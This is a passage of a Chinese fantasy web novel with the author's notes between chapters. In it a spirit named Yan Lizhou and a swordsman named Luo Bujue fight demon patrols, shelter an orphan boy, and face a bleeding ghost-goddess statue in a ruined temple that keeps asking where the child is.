燕黎舟也瞬间警觉,无妄扇悄然展开半扇。 “什么,怎么发现的!”公羊胜震惊,依靠着薛三钱的力道往外走。 “迟早的事。”薛三钱看着燕黎舟,两人点了下头。 薛三钱扶着公羊胜,踉跄着钻出来。 就在他们即将要钻进小巷子里的时候,外面那队小队似有所觉。 “在这里!” “追!” 公羊胜疼得龇牙咧嘴,几乎是被薛三钱拖着走。 “想活命就忍着点!” 薛三钱脸色紧绷,耳听得身后传来的咆哮声不敢有丝毫松懈。 他专挑肮脏狭窄堆满垃圾的巷子钻,利用复杂的地形和刺鼻的气味掩盖行踪。 燕黎舟瞅了眼他们两个,手里的无妄扇展开,手腕上的晋绳也跟着蠢蠢欲动。 “你们现走,我留下来,一会汇合。”燕黎舟皱眉道。 薛三钱犹豫了一秒,最终点头。 “小心。” 薛三钱最后扔下两个字,便头也不回地搀着公羊胜。 “一个落单的!先抓住他!” 为首的魔族狞笑着,挥舞斧头直扑而来! 腥风扑面! 燕黎舟甚至能看清对方盔甲缝隙里的污垢和腥红的眼睛,死死地盯着他。 他瞳孔微缩,心中闪过一丝慌乱,但身体却先一步做了反应。 一直紧握的无妄扇展开! 他没有选择硬撼,而是将妖力注入扇中,对着那魔族脚下猛地一扇! 那魔族脚下的青石板路仿佛瞬间变成了流动的泥沙,让他一个趔趄,前冲的势头被打断,庞大的身躯失去了平衡! 就是现在! 燕黎舟眼神一厉,合拢扇子,乌黑的扇骨如同短匕,带着一股锐利的劲气,闪电般点向那魔族因失衡而暴露出的咽喉! 噗! 那魔族前冲的动作戛然而止,猩红的眼睛瞪得滚圆,满脸难以置信。 魔气迅速从他体内溃散,庞大的身躯推金山倒玉柱般轰然倒地,激起一片尘土。 燕黎舟握着微微震颤的扇子,微微喘息,胸口微微起伏着,盯着剩下的几个魔族。 这是他第一次真正意义上独自对敌并击杀了一个……人。 掌心因紧张和用力出汗变得有些粘,一种陌生的畅快感从心底升起。 无妄扇浸满了鲜血,上面一滴血液正缓缓滴落。 剩余的几个魔族显然没料到这个气息看着非常弱的目标竟能瞬间反杀他们的头领,一时竟僵在原地。 燕黎舟握着无妄扇的手微微颤抖,指尖发冷。 脑海中“嘻嘻”的诡笑声似乎又清晰了几分,带着满足的嘲弄。 杀|戮的快感与深深的厌恶在他心中交织。 “上!” 那几个人如梦初醒,嗷叫着提着斧子朝燕黎舟冲上去。 魔族显然不止一队人马。 刚拐过一个弯,薛三钱和公羊胜迎面就又撞上了两个似乎是听到动静包抄过来的魔族巡逻兵! “啧,草!” 薛三钱骂了一句,毫不犹豫地将公羊胜往旁边的垃圾堆里一推。 “藏好!” 同时他袖中淬毒的银针毫不吝啬地射向那两个魔族! 那两个人没料到这两人竟然使针,措手不及下,一人被银针刺中面门,惨叫着捂住眼睛。 另一人则挥舞斧子格挡开大部分银针,咆哮着冲了过来! 公羊胜被推得摔在臭烘烘的垃圾堆里,牵动腿伤,眼前阵阵发黑。 他看到薛三钱独自面对凶悍的魔族,一咬牙,挣扎着抓起手边一根半腐的木棍,试图爬起来帮忙。 “你给我老实待着!” 薛三钱百忙中回头吼了他一句,身形灵活地避开魔族的斧头劈砍,指尖夹着一枚漆黑的药丸。 瞅准机会弹入了那魔族咆哮张大的嘴里! 那魔族动作一僵,喉咙里发出“咯咯”的怪响,皮肤迅速变得青黑。 不过几息之间便软倒在地,没了声息。 薛三钱喘了口气,看也没看那尸体,转身又将几根银针刺入那个捂着眼睛惨叫的魔族要害,结果了他的性命。 他快步走回垃圾堆,将面如土色的公羊胜重新捞起来:“还能走吗?” 公羊胜看着地上两具迅速腐烂发臭的魔族尸体,胃里一阵翻腾,强忍着点了点头。 “走!” 薛三钱不敢停留,扶着他继续深入巷弄的阴影之中。 洛不觉现在紧贴着冰冷潮湿的墙壁,屏住呼吸。 镇口十二个人。 他转过前面的一个街角,前方隐约传来魔族士兵粗哑的交谈声。 洛不觉脚步一顿,迅速隐入墙角的阴影里—— 作者有话说:码字的小姑娘给您奉上今日的更新[彩虹屁] 第62章 那是一队五人的魔族巡逻队, 正在挨家挨户地盘查,动作粗暴,不时有家具被砸碎的声响传来。 洛不觉目光沉静, 快速扫视周围环境, 最后侧面一堵看似无路的高墙。 只见洛不觉足尖在墙面上几点, 身形迅速, 悄无声息地翻过了墙头。 墙的另一边是一处荒废的院落, 杂草丛生,显然已久无人居。 洛不觉顿了一下, 率先向院落深处走去。 就在他即将穿过这片废弃院落, 抵达另一条僻静巷道时,洛不觉猛地停下脚步,看向侧前方一堆坍塌的假山石。 窸窸窣窣…… 碎石被扒开, 一个浑身脏兮兮的身影从石堆后面钻了出来,是一个约莫七八岁的人类小男孩! 他脸上满是污垢和泪痕,大眼睛里充满了惊恐。 那小男孩显然被吓坏了,从假山石后钻出来后, 看到手持长剑的洛不觉, 更是浑身一抖。 下意识地就要往后退, 却被碎石绊倒,一屁股坐在地上,大眼睛里瞬间蓄满了泪水,却死死咬着嘴唇不敢哭出声。 洛不觉眉头微蹙, 他并非擅长与孩童打交道之人。 他迅速收敛了周身迫人的剑意,尽量让自己的声音听起来不那么冰冷。 “别怕。”他道。 就在这时,墙外传来了魔族巡逻兵越来越近的脚步声,似乎正在往这堵高墙过来。 小男孩听到魔族的动静, 小脸瞬间惨白,眼中的恐惧几乎要溢出来,瘦小的身体瑟瑟发抖。 “搜!这边有动静!” 墙外魔族的声音清晰可闻。 洛不觉眼神一凛,他快步上前,在小男孩惊惧的目光中,一把将他捞起。 用手臂稳稳护住,同时低声道:“别出声。” 洛不觉目光快速扫过荒院,最终看向角落里一个半塌的被杂草覆盖的灶房。 洛不觉抱着小男孩,迅速隐入那阴暗潮湿的灶房内。 顺手扯过一些枯藤,粗略地遮掩了一下入口。 灶房内空间狭小,弥漫着霉味和尘土的气息。 两人都屏住了呼吸。 小男孩被洛不觉挡在身后,紧紧抓着洛不觉的衣襟。 墙外,魔族巡逻兵的脚步声在墙根处徘徊了片刻,似乎没有发现异常,终于渐渐远去。 直到确认外面彻底没了动静,两人才松了口气。 洛不觉蹲下身,与他对视。 小男孩依旧有些怯生生的,但眼中的恐惧减少了许多。 “你叫什么?” 洛不觉看着小男孩问。 小男孩吸了吸鼻子,小声嗫嚅道:“我……我叫石头。” “我爹娘被那些怪物抓走了,我躲在这里好几天了……” 说着,他眼眶又红了。 洛不觉沉默地递给名为石头的小男孩一个水囊和一块干粮。 看着石头狼吞虎咽。 另一边,燕黎舟勉强撑着自己的身体站稳,周围躺着几句横七竖八的尸体。 血液把脚下的巷子土地染的通红,一片泥泞。 无妄扇正插在面前的一具尸体上面。 燕黎舟伸手,扇子颤抖了两下,飞速飞回他的手中。 原先月白的扇面被染得猩红刺目,温热的血液顺着扇骨滴滴答答落下,白皙的手指沾上鲜血,十分刺眼。 燕黎舟握着扇柄的手抑制不住地微微颤抖。 不是恐惧,而是一种力量过度宣泄后的虚脱,以及内心深处被那浓郁血腥气勾起的躁动。 他急促地喘息着,胸口剧烈起伏,每一次呼吸都带着浓重的铁锈味。 脑海中,那“嘻嘻”的诡笑似乎又清晰了几分,带着满足的喟叹和蛊惑的低语。 燕黎舟用力闭了闭眼,令人厌烦的声音压下去。 “可以了吧。” “嘻嘻……你不开心吗?” 燕黎舟:“……” 燕黎舟看着面前空无一人的空气,周围有的只是尸体,有一道血液斜着横过燕黎舟的脖颈,喉咙狠狠地上下滚动了一下。 夜里风很大,很凉,燕黎舟的声音顺着风,轻飘飘的。 “开心。” “可是我的衣服脏了。” 燕黎舟垂眸,看着自己衣袍上大片刺目的暗红,眉头厌恶地蹙起。 他不想让任何人,尤其是洛不觉,看到自己现在这副狼狈的模样。 他几乎是有些仓促地转身,身影几个起落,迅速消失在原地。 洛不觉将石头安顿在那个隐蔽地窖里,孩子虽然害怕,但看着洛不觉沉静的眼神,还是乖巧地点了点头。 待洛不觉以最快速度返回他们暂居的破旧小屋里时,心头却猛地一沉。 房间里空无一人。 燕黎舟、薛三钱、公羊胜,全都不见了踪影。 洛不觉皱眉,身形加快,在周边寻找着他们的踪迹。 忽然一股浓烈得令人作呕的血腥味扑面而来。 眼前的景象让他的脚步猛地顿住。 小小的院落里,横七竖八地躺着数具魔族的尸体,死状凄惨。 鲜血几乎将泥土地面完全浸透。 打斗的痕迹遍布四周,墙壁上留下了深深的斧痕。 就在这时,一个身影由远及近! 燕黎舟从洛不觉背后伸出手,想要去拍洛不觉的衣服,可是看着掌心被鲜血浸染的血,顿了一下。 他刚刚找了一圈也没有找见干净的水源。 “洛不觉。”燕黎舟最终出声喊道。 洛不觉显然是一路疾驰而来,气息比平日略显急促,额角甚至带着一丝不易察觉的薄汗。 洛不觉转身,瞳孔微不可察地收缩了一下。 他的目光快速扫过燕黎舟全身,确认没有受到致命伤。 洛不觉几步上前,一把扣住燕黎舟的手腕。 他的指尖带着一丝凉意,却异常有力,瞬间稳住了燕黎舟颤抖的手。 “怎么回事?” 洛不觉的声音比平时更沉,他并非质问,而是确认。 感受到手腕上传来的力道和温度,燕黎舟心头翻腾的邪火被压下去。 他深吸一口气,强行让自己的声音听起来平稳些。 “遇到了点……小麻烦。” 燕黎舟试图抽回手,却被洛不觉握得更紧。 手腕被更紧地握住,他试图抽回手的动作僵住,抬眼对上洛不觉那双深不见底的眸子。 “我没事。” 燕黎舟再次强调,声音却比刚才更低了些,带着一丝不易察觉的沙哑。 他别开视线,落在两人交握的手腕上,洛不觉的手指修长有力,牢牢圈住他。 燕黎舟:“我和公羊胜他们被冲散了。” 洛不觉:“没事。” 燕黎舟不再试图挣脱,沉默地跟在洛不觉身后。 洛不觉掌心的温度将他从方才杀戮带来的失控边缘,一点点拉回现实。 两人在一处几乎坍塌大半的染坊后院外停下。里面传来几声争执。 “……姓公羊的你别乱动!伤口又裂了!” 是薛三钱压着嗓子的呵斥。 “嘶……轻点!薛三钱你是不是趁机报复!” 公羊胜倒吸一声冷气,也压低声音骂骂咧咧的。 洛不觉与燕黎舟对视一眼,悄然潜入。 只见薛三钱正手忙脚乱地给瘫坐在一堆废弃染缸旁的公羊胜重新包扎腿上的伤口,血迹已然渗透了之前的布带。 公羊胜脸色比之前更白,唇无血色,但精神头倒是不弱,还在跟薛三钱斗嘴。 看到洛不觉和燕黎舟进来,两人同时一愣。 薛三钱先是松了口气,随即目光落在燕黎舟身上,尤其在他干净得过分的衣袍上停顿了一瞬,撇了撇嘴,没说什么,继续手上的动作。 公羊胜则眼睛一亮:“洛兄!燕兄!你们可算来了!再晚点我就要被这庸医折腾死了!” “闭嘴吧你!要不是老子把你从魔崽子堆里拖出来,你早凉透了!” 薛三钱没好气地怼了回去。 洛不觉快速扫视环境,确认暂时安全,然后看向燕黎舟,松开了握着他手腕的手,低声道。 “此地不宜久留,需尽快转移。” 燕黎舟点了点头,手腕上似乎还残留着温凉的温度。 他看向薛三钱和公羊胜:“还能走吗?” 公羊胜试图站起来,却牵扯到伤口,疼得龇牙咧嘴。 薛三钱扶着他,脸色也不太好看:“他这德行,走不远。外面魔族肯定在搜捕。” 就在这时,一个细弱的声音从染坊角落一堆破布后面传来:“……我知道……有个地方,很安全。” 几人循声望去,只见石头小心翼翼地探出半个脑袋,大眼睛里还带着惊惧,但比之前镇定了一些。 他之前被洛不觉安置的地方就在附近,听到动静才悄悄跟了过来。 洛不觉看向石头,眼神询问。 燕黎舟抱着胸,眉毛挑得老高,他歪着头,好奇地盯着这脏兮兮的小玩意儿是从哪钻出来的,洛不觉又怎么和他认识? 目光在小孩和洛不觉之间不断地来回扫视。 燕黎舟心里嘀咕,一股说不清道不明的感觉冒了出来,有点像是被人抢了先的不爽。 他自己都被这念头弄得一愣。 燕黎舟看着那小孩儿怯生生却又带着点依赖地抓住洛不觉一片衣角,洛不觉那厮居然没甩开? 还低头用那种……没什么表情的神情看着那个小孩。 燕黎舟撇了撇嘴,心里那点莫名其妙的不爽又加深了点。 他感觉自己像个被洛不觉排除在外的朋友看客,这感觉让他很不舒服,比他衣服上沾了血还让他难受。 “小老鼠。” 燕黎舟开口,声音带着他惯有的懒散,把石头的注意力吸引了过来。 “你说安全的地方?可别是把我们往老鼠洞里带啊。” 他故意呲牙吓唬小孩,想看看这小孩儿什么反应。 石头被他看得往后缩了缩,但还是鼓着勇气,小声反驳:“不、不是老鼠洞!是鬼娘娘殿。” 鬼娘娘殿? 燕黎舟一愣,下意识在脑海里翻找那点可怜的支离破碎的原著记忆—— 作者有话说:啦啦啦啦啦,是今日更新! 大家中秋节快乐! 么么么么么么! 晚安啦! 第63章 结果屁都没翻出来。 得, 这个世界早就崩得连它亲妈都不认识了,多出个什么鬼娘娘殿也不稀奇。 燕黎舟很快把那点微不足道的疑惑抛开,反正现在剧情就像脱缰的野狗, 爱往哪奔往哪奔。 “鬼娘娘?” 燕黎舟也特意拖长了调子, 脸上挂起那种专门吓唬小孩的笑。 “这名字听起来就邪乎, 那地方是不是专门抓你这种细皮嫩肉的小子去献给鬼娘娘打牙祭的?” 石头被他吓得小脸更白了, 使劲摇头, 抓着洛不觉衣角的手更紧了。 “不、不是的!鬼娘娘……鬼娘娘是保佑小孩子不被妖怪抓走的!” 他说得急切,仿佛想证明自己没把他们往火坑里带。 燕黎舟张牙舞爪的动作一顿, 整理了一下自己的衣服。 洛不觉的目光一直落在燕黎舟身上, 见状握着秋水剑的手微微收紧。 “那看来你的鬼娘娘没有保佑你哦。” 燕黎舟整理着自己刚换上的衣服,瞥了眼石头道。 “什么?”石头不明所以。 燕黎舟哼哼两声,食指点了点石头的脑袋。 “因为我就是妖怪。” 燕黎舟话音落下, 食指还点在石头的额头上,脸上挂着恶劣又得意的笑,等着看这小屁孩被吓得屁滚尿流。 石头果然瞪大了眼睛,小嘴微张, 呆愣愣地看着他, 抓着洛不觉衣角的手都忘了用力。 “你们的鬼娘娘, 没告诉你真正的妖怪长什么样吗?” 燕黎舟却像是被取悦了,眼尾扬起一个愉悦的弧度。 他非但没退,反而向前迈了半步,对着石头做了个鬼脸的表情。 “哈哈哈哈哈哈哈!” 洛不觉无奈:“收敛些。” 结果就是燕黎舟非但没收敛, 反倒更加得寸进尺。 他倏地凑近洛不觉,几乎鼻尖相贴。 在石头惊恐的抽气声中,他压低了嗓音,用只有两人能听清的气音。 “怎么, 洛仙长是怕我现了原形,先把你这小老鼠给吓破胆?” 洛不觉表情没变,他只是微微偏头,秋水剑冰冷的剑柄不轻不重地抵住燕黎舟逼近的胸膛。 “你身上有伤。” 洛不觉说,这次声音低了些,像是雪地踩雪的声音,勾的燕黎舟心里痒痒的。 旁边薛三钱不仅要扶着公羊胜,还要腾出来一只手伸手捂住石头的眼睛。 “非礼勿视非礼勿视。” 公羊胜一见帮薛三钱念叨。 薛三钱:“……” 燕黎舟被洛不觉那句话勾得心尖发痒,正想再凑近些说点更混不吝的,但又碍于旁边有人在。 那三人的场面属实是有点滑稽。 他啧了一声,终于退开一步,拉开了和洛不觉之间那过分暧昧的距离。 新鲜的空气涌入,方才那点氛围感瞬间散了大半。 几人七扭八扭穿过几个巷子。 果然在镇子里出现了一座孤零零的庙宇。 与其说是庙,不如说是个稍大些的祠堂,灰墙黑瓦,看起来有些年头了,墙皮剥落得厉害,露出里面深色的砖石。 门楣上挂着一块歪斜的牌匾,字迹被风雨侵蚀得模糊,勉强能认出“鬼娘娘殿”四个字。 “就是这里了。”石头小声说。 燕黎舟视线转向面前这扇紧闭的殿门。 上面模糊地刻画着一些扭曲的图案,像是某种祭祀场景,又像是百鬼夜行,透着一股子邪气。 他率先朝殿门走去,步伐随意地像是去邻居家串门。 洛不觉沉默地跟上他,秋水剑依旧握在手中。 薛三钱扶着公羊胜,拉着还在偷偷从指缝里往外看的石头,也小心翼翼地跟在后面。 吱呀—— 燕黎舟根本没用手推,抬脚轻轻一踹,那看似沉重的殿门便发出一声不堪重负的呻吟,向内敞开了。 一股更加浓郁的混合着陈年香火和灰尘的某种难以言喻的气息扑面而来。 殿内光线昏暗,燕黎舟看向洛不觉,后者掌心摊开,一团火焰腾地升起,几人才勉强能看清内部的轮廓。 正对着门口的,是一尊蒙尘的泥塑神像。 神像的样貌颇为奇特,并非通常慈眉善目的女神,反而带着几分厉色,眼角上挑,嘴唇紧抿,透着一股阴沉的威严。 神像身上的彩绘已经斑驳脱落大半,露出底下暗沉的泥土本色,更添几分诡异。 供桌上空无一物,积满了厚厚的灰尘,角落挂着蛛网。 整个大殿死寂一片,只能听到他们几人踏入殿内的脚步声和细微的呼吸声。 燕黎舟大大咧咧地走到殿中央。 石头躲在薛三钱身后,小声提醒道:“鬼娘娘……不喜欢吵闹,要、要诚心跪拜才行……” “跪拜?” 燕黎舟像是听到了什么天大的笑话,回头冲石头龇牙一笑。 “你看我像是会跪谁的样子吗?” 呼呼呼! 一阵不知从何而起的阴风,贴着地皮卷了进来,吹得地上散落的枯叶打着旋儿窸窣作响。 石头猛地打了个寒颤,剩下的话全噎回了喉咙里,小脸煞白,下意识地又要去抓离他最近的薛三钱的衣角。 燕黎舟脸上的戏谑淡去几分,他收回手,环顾四周。 这殿宇不大,除了他们几人,只有正中那尊色彩斑驳脱落的鬼娘娘泥塑。 以及积了厚厚灰尘的供桌和几个歪倒的蒲团。 燕黎舟故意小小地迈着步子,靴子踩在满是尘土的地面上,留下清晰的脚印。 洛不觉快步走到他身边,什么话都没说,他自踏入殿内,便始终沉默。 洛不觉身形挺拔如松,目光沉静地扫过殿内每一个角落。 燕黎舟溜达到了那尊鬼娘娘泥塑前,歪着头打量。 伸手在供桌手抹了一下,指尖立刻沾满了厚厚的黑灰,桌子上留下明显的距离。 泥塑的娘娘穿着褪色的彩衣,姿态端庄,只是面容因剥蚀而显得诡异。 尤其那双空洞的眼睛,眸子微微下垂着,仿佛在注视着下方的来人。 其他部位磨损地厉害,看不出本来是个什么姿势。 “啧,”燕黎舟摸了摸下巴,忽然抬手,作势要去戳那泥塑。 下一秒,洛不觉就伸手握住燕黎舟的手腕,燕黎舟的手指最终在离泥塑寸许的地方停住了。 燕黎舟回头,对上洛不觉平静无波的眼神。 薛三钱:“……” 他选择抬头研究房梁上的蜘蛛网。 “还是小心点吧。”旁边的公羊胜出声。 他话音未落,洛不觉忽然眉头微蹙,低声道:“有东西。” 几乎在洛不觉开口的同时,燕黎舟也察觉到了。 他脸上的嬉笑收敛了些,眼神扫向神像后方那片最浓重的阴影。 那里,似乎有什么东西轻轻动了一下。 很轻,像是……某种东西在爬行。 薛三钱和公羊胜立刻紧张起来,石头更是吓得直接闭上了眼睛,死死抓住薛三钱的衣摆。 燕黎舟和洛不觉交换了一个眼神。 阴影里,那窸窸窣窣的声音停顿了一瞬。 随即,在众人凝重的注视下,一团模糊的大约孩童大小的黑影,缓缓地从神像后的阴影里“流”了出来。 它没有清晰的四肢,更像是一团凝聚不散的黑雾。 只有顶部两点猩红的光点,如同眼睛,直勾勾地盯着离它最近的燕黎舟。 一股阴冷的气息瞬间弥漫开来,殿内的温度似乎都下降了几分。 燕黎舟挑了挑眉,饶有兴致地打量着那团黑雾。 评价道:“长得还挺别致。” 跟你一样,燕黎舟看着从刚刚开始就一直围绕在他身边的那团烦死人了的嘻嘻灰雾,轻哼。 很脏的话还是没说出来。 那黑雾被他的态度激怒,发出沙哑的几个音,猛地朝燕黎舟扑了过来! 洛不觉眼神一凛,剑光出鞘。 黑雾中见状蓦地伸出来几只爪子,在触碰到秋水剑的那一刻又瞬间凝结上一层厚冰。 下一秒爪子就碎裂开,齐齐落在地上。 它意识到,这个持剑的人类是块啃不动的硬骨头后,猩红的眼睛再次转向旁边一直好整以暇站在后方,整理袖口的燕黎舟。 “吼哦!” 放弃了与洛不觉的缠斗,猛的扑过去! 洛不觉皱眉,剑势回转想要拦截,可不等他再次出手。 燕黎舟不闪不避,只是抬起右手,五指微张,指尖绕起一丝浓绿色妖气。 他对着扑到眼前的黑雾,轻轻一抓。 “找软柿子捏?” 燕黎舟轻声道,带着点玩味,“眼光真差。” 那气势汹汹的黑雾如同被无形的巨手捏住,猛地一滞,发出一声凄厉的尖啸。 整个雾状的身体剧烈扭曲,然后“噗”的一声轻响,竟如同被戳破的水泡般,瞬间消散得无影无踪。 只剩下几缕残留的黑气,被燕黎舟随手挥散。 大殿重归死寂,仿佛刚才那诡异的一幕从未发生。 旁边的公羊胜看得目瞪口呆,忘了腿疼,喃喃道:“……这草精,什么时候这么凶了?” 就连薛三钱也讶异地挑了挑眉。 燕黎舟甩了甩手,像是沾上了什么脏东西,回头对上看呆了的石头,露出一个恶趣味的笑。 然后对着这小孩伸手吐舌头翻白眼得做了个鬼脸。 石头沉默着往薛三钱后面窜了窜,只留着一个脑袋尖在外面。 洛不觉缓缓收剑入鞘,转过身,目光沉沉地落在燕黎舟脸上 这人的脸色比起刚才又白了点,虽然是在笑着的,但是整个人确实蔫巴巴的,叶子好似也耷拉在地上。 他盯着燕黎舟,对方也不知道是怎么,看东看西,就是不看洛不觉。 半响,终于还是燕黎舟没忍住。 “盯着我看干什么?” 他挑眉,故意用夸张的语气说道。 “被我迷住了?” 而此刻,那尊一直沉默的鬼娘娘泥塑神像,眼角处,似乎有一道极细微的裂纹,正悄然蔓延—— 作者有话说:昨晚半夜痛经疼醒,早上一醒来,躺在床上什么都不想动,一动就想吐,脑子里就开始想晚上写的剧情 结果就是—— 今天要修改刚码的那章+码新章,加大了工作量! 好样的小pai! 好了,我要赶紧去改了,明天的车票,五个多小时,提前一天回去——当天没买到车票[爆哭] 第64章 洛不觉没接他的话茬, 只是走上前,伸手探向他的手腕。 燕黎舟下意识想躲,却被洛不觉更快一步扣住, 指尖触碰到的皮肤温度偏低。 两个人靠的很近, 洛不觉抓着他的手用力, 能清楚的看见, 对方手腕周围已经起了一圈红痕。 “啧。” 燕黎舟也看见了, 试图抽回手,却被洛不觉握得更紧。 “光天化日, 拉拉扯扯成何体统?”燕黎舟嘴上不饶人道。 “别动。” 洛不觉声音不高, 他指尖微微运起一丝温和的灵力,缓缓渡进燕黎舟身体里面,那圈红痕散开, 恢复如初。 燕黎舟身体僵了一下,他有些不自在地轻轻哼了一声,到底是没再挣扎。 任由洛不觉握着他的手腕,直到那圈红痕彻底消散, 皮肤恢复成本身的冷白。 墙角边, 石头偷偷从薛三钱身后探出脑袋, 看着那两个挨得极近的人影,小声问:“仙长是在给他疗伤吗?” 薛三钱一脸“小孩子别问那么多”的表情,再次捂住石头的眼睛。 燕黎舟甩了甩手腕,眼神飘忽了一下, 没去看洛不觉。 洛不觉转身面向大殿中央,目光扫过大殿,沉声。 “此非久留之地,得尽快找到离开这镇子的方法。” 薛三钱这才松开捂着石头眼睛的手。 旁边公羊胜连忙附和:“对!这鬼地方邪门得很, 咱们得赶紧想法子出去。” 石头怯生生地看了看那尊鬼娘娘像,小声道:“你们要出镇?” 公羊胜低头看他:“小孩,你有办法?” 石头小小点了下头。 “镇子有条小路,通往外面,但是那条路上有好大的雾,魔族发现不了。 “但进去的人再也没看见出来过,村长爷爷就把那里给封死了。” 燕黎舟找了处稍微干净点的供台边缘,随意坐下,长腿交叠,一只手支撑着下巴,安静听着。 “老人们都说,只有得到鬼娘娘庇佑,才能平安穿过迷雾。” “庇佑?”公羊胜接道,旁边的薛三钱也跟着思考着看向鬼娘娘像。 “所以,怎么才能让她庇佑我们?”燕黎舟问。 石头努力回忆着听来的传说:“是很久很久以前,镇子里老是丢小孩,说是被山里的妖怪抓去吃了。” “后来,有一天晚上,天上掉下来一团火,落在了这里,之后就建起了这座鬼娘娘庙。” “老人说鬼娘娘是枉死孩童的怨念所化,专克那些害孩子的妖怪,有她在,镇子里的孩子就安全了。” “想要平安渡过迷雾,需得在庙里诚心祈求,得到鬼娘娘的认可才行……” 石头边说边双手合起对着鬼娘娘拜了一下。 燕黎舟听着低低地笑了起来。 他依旧懒散地坐在供台边缘,支着下巴的手指轻轻点着侧颊,目光饶有兴致地扫过那尊裂纹遍布的神像。 “专克妖怪。” 他拖长了调子,尾音上扬。 “听起来可真厉害。那不知,这位娘娘怎么认可我这位妖怪?” 说完燕黎舟从供台边跳下,慢悠悠地踱步到那尊裂纹遍布的鬼娘娘神像前。 一改刚才的态度。 “专克妖怪的鬼娘娘……” 他拖长调子:“在下燕黎舟,如假包换的妖怪一只。今日途经宝地,想借个道,不知娘娘……可否行个方便?” 大殿内一片安静,无事发生。 “好吧,她不愿意。” 燕黎舟转身,耸肩。 就在这时,石头像是突然想起了什么,小声嗫嚅道。 “我还听镇里的瞎眼婆婆说过一个故事……她说,鬼娘娘有时候,会问问题……” “问题?”公羊胜好奇地追问。 “嗯,”石头努力回忆着。 “她说,以前有个外乡人想要穿过迷雾,在庙里待了一夜,第二天疯了,一直喊着错了!都错了!还说……鬼娘娘问他,孩子在哪里。” 洛不觉低眸,随即就做出了决断。 “石头,那条路能不能告诉我们位置?” 石头愣了一下,点点头:“我带仙长哥哥去吧。” 洛不觉颔首,转头看向燕黎舟,显然是害怕自己走了之后这人又出什么意外。 “我也去!” 薛三钱立刻道,他扶了扶脸色依旧苍白的公羊胜。 “万一你有什么意外,我能帮上忙。” 公羊胜摆摆手,他也想跟着,但是他知道他这腿去了肯定是拖累。 “我在这里等着你们吧。” 燕黎舟对此不置可否,他懒洋洋地伸了个懒腰,对洛不觉道。 “你们先去探路,我在这儿陪这位专克妖怪的娘娘聊聊,说不定她看我顺眼,就告诉我们答案了呢?” 洛不觉看了他一眼,眉头微不可查地蹙了一下,最终还是点头:“自己小心。” “放心。” 燕黎舟勾唇一笑,重新跳坐上供台,晃着腿,“我这么招人喜欢,能有什么事?” 洛不觉临走时在周围设置了好几个法阵,将这里隐蔽起来,设置了几个能瞬间传送的。 半天走不了,就连石头也看出来,抬头看着洛不觉:“这里很安全的。” “魔族来不了这里,鬼娘娘会保佑这里的。” 洛不觉看着殿内那个身影:“嗯。” “走吧。” 三人很快便消失在大殿门口,店内只剩下燕黎舟和公羊胜。 石头带得这条小路早已荒废,杂草丛生,几乎淹没路径,越往前走,周围越发模糊。 石头紧紧抓着洛不觉的衣角,小脸煞白,指着前方:“就是那里了。” 只见前方不远处的道路被歪斜的几块画着模糊符咒的木桩和碎石堵住。 再往前,便是浓郁得化不开的灰白色迷雾,像一堵巨大的墙横亘在那里,视线无法穿透半分。 洛不觉停下脚步,凝神感知,灵力探入迷雾,如同泥牛入海,瞬间失去了联系。 秋水剑似乎感受到了什么,不断地颤动。 靠近迷雾的一株枯树干上,似乎刻着一些模糊的字迹。 洛不觉走近几步,拨开缠绕的藤蔓,只见那干裂的树皮上,鲜血干涸后的暗褐色,歪歪扭扭地刻着几个重复的字。 错了,都错了! 孩子! 字迹凌乱疯狂,像是带着极大的怨恨和恐惧写出来的。 与此同时,鬼娘娘殿内。 “啪嗒。” 一声极轻微的声音突兀地响起。 众人循声望去,只见那尊鬼娘娘神像面貌缓缓裂开,眼角处慢慢地渗出了一滴暗红色的粘稠液体,顺着灰扑扑的脸庞缓缓滑落。 “孩子……在哪里?” 随着这个声音的响起,神像脸上的裂纹如同活物般加速蔓延,更多的暗红色液体从裂缝中汩汩渗出,很快便布满了整张面孔。 公羊胜头皮一顿发麻,看向燕黎舟,蹦跶着拉着他的胳膊。 燕黎舟则是抬头看着那尊流着血的石塑,面无表情。 “孩子……在哪里……” 这声音重复着石头刚才提到的问题,每一个字都像是浸透了冰水,让人从心底里发寒。 一炷香的时间过去,什么事情都没有发生,只是周围不断重复着这句话。 “孩子……在哪里……” 这句是燕黎舟说的,嘴里咀嚼着这话。 公羊胜前后都是这句话,扯了扯燕黎舟。 “嘘,别说了,怪渗的慌,这鬼娘娘殿也不知道是怎么回事。” “你小心点,别离我太远。”公羊胜千叮咛万嘱咐。 下一秒。 浓绿色的妖气丝丝缕缕环绕在燕黎舟周围。 “嘻嘻。”燕黎舟道。 “啥啊,你嘻啥啊,我靠,草精你不能是被附身了吧。” 公羊胜震惊看着他,就差双手扶着燕黎舟肩膀疯狂摇他。 “嘻,嘻!” 一团灰色雾气缓慢凝实在燕黎舟身边,然后逐渐变成一个人的模样,笑嘻嘻地环胸蹭到燕黎舟脸旁。 “找我?” 雾气构成的模糊面孔上,两个空洞的位置看向鬼娘娘泥塑,发出更加欢快的“嘻嘻”声。 燕黎舟本人倒是没什么惊慌的表情,他只是微微偏头,躲开那雾气过于亲昵的蹭碰,眉头皱起,带着点嫌弃:“离远点。” 嘻嘻被训地委屈般地缩了缩,但依旧绕着燕黎舟飘荡,不肯离去。 嘴里还在念叨:“找我?不是找我吗?” 公羊胜也委屈:“干嘛啊。” 燕黎舟:“上。” 嘻嘻:“好。” 公羊胜低头看了眼自己包裹地严严实实的左脚,又抬头。 “我吗?” 此时的嘻嘻已经绕在泥塑周围,灰雾幻化成的手缓缓靠在泥塑上面。 “嘻嘻。” 随着嘻嘻的话音落地,燕黎舟的身影也迅速消失在原地。 公羊胜:“草精!说我上了,你别上了啊!” 嘻嘻欢快地应和了一声,它那模糊手掌接触泥塑的地方,灰色的雾气迅速蔓延开来,渗入泥塑表面裂开的缝隙里。 泥塑剧烈地颤抖起来,暗红色的血泪不再是滴落,开始不断流淌,将整个神像染得如同刚从血池中捞出。 那股混杂着无尽悲伤和怨毒的意念疯狂涌进燕黎舟的脑海。 但又随着嘻嘻的一声平静下来。 “孩子!回来!我的孩子!” 一开始重复的声音越来越尖。 公羊胜捂着耳朵,脸色发白,如果不是他左腿受伤他高低地急得跳脚。 “草精!你他妈别玩脱了!洛不觉不在没人给你兜底啊!” …… 一个村民打扮的人抱着个红棉被包裹的娃娃,一脚一步绕过面前的树林,逐渐走到最深处。 怀里被包裹的严实的孩子嚎叫着,声音嘶哑,手脚不断乱蹬着,露在外面的脸红红的,一看就是哭的太久了。 “娘娘,娘娘,神瞧不上,鬼配不上,不理晚上,不来白天。” “娘娘,娘娘……”—— 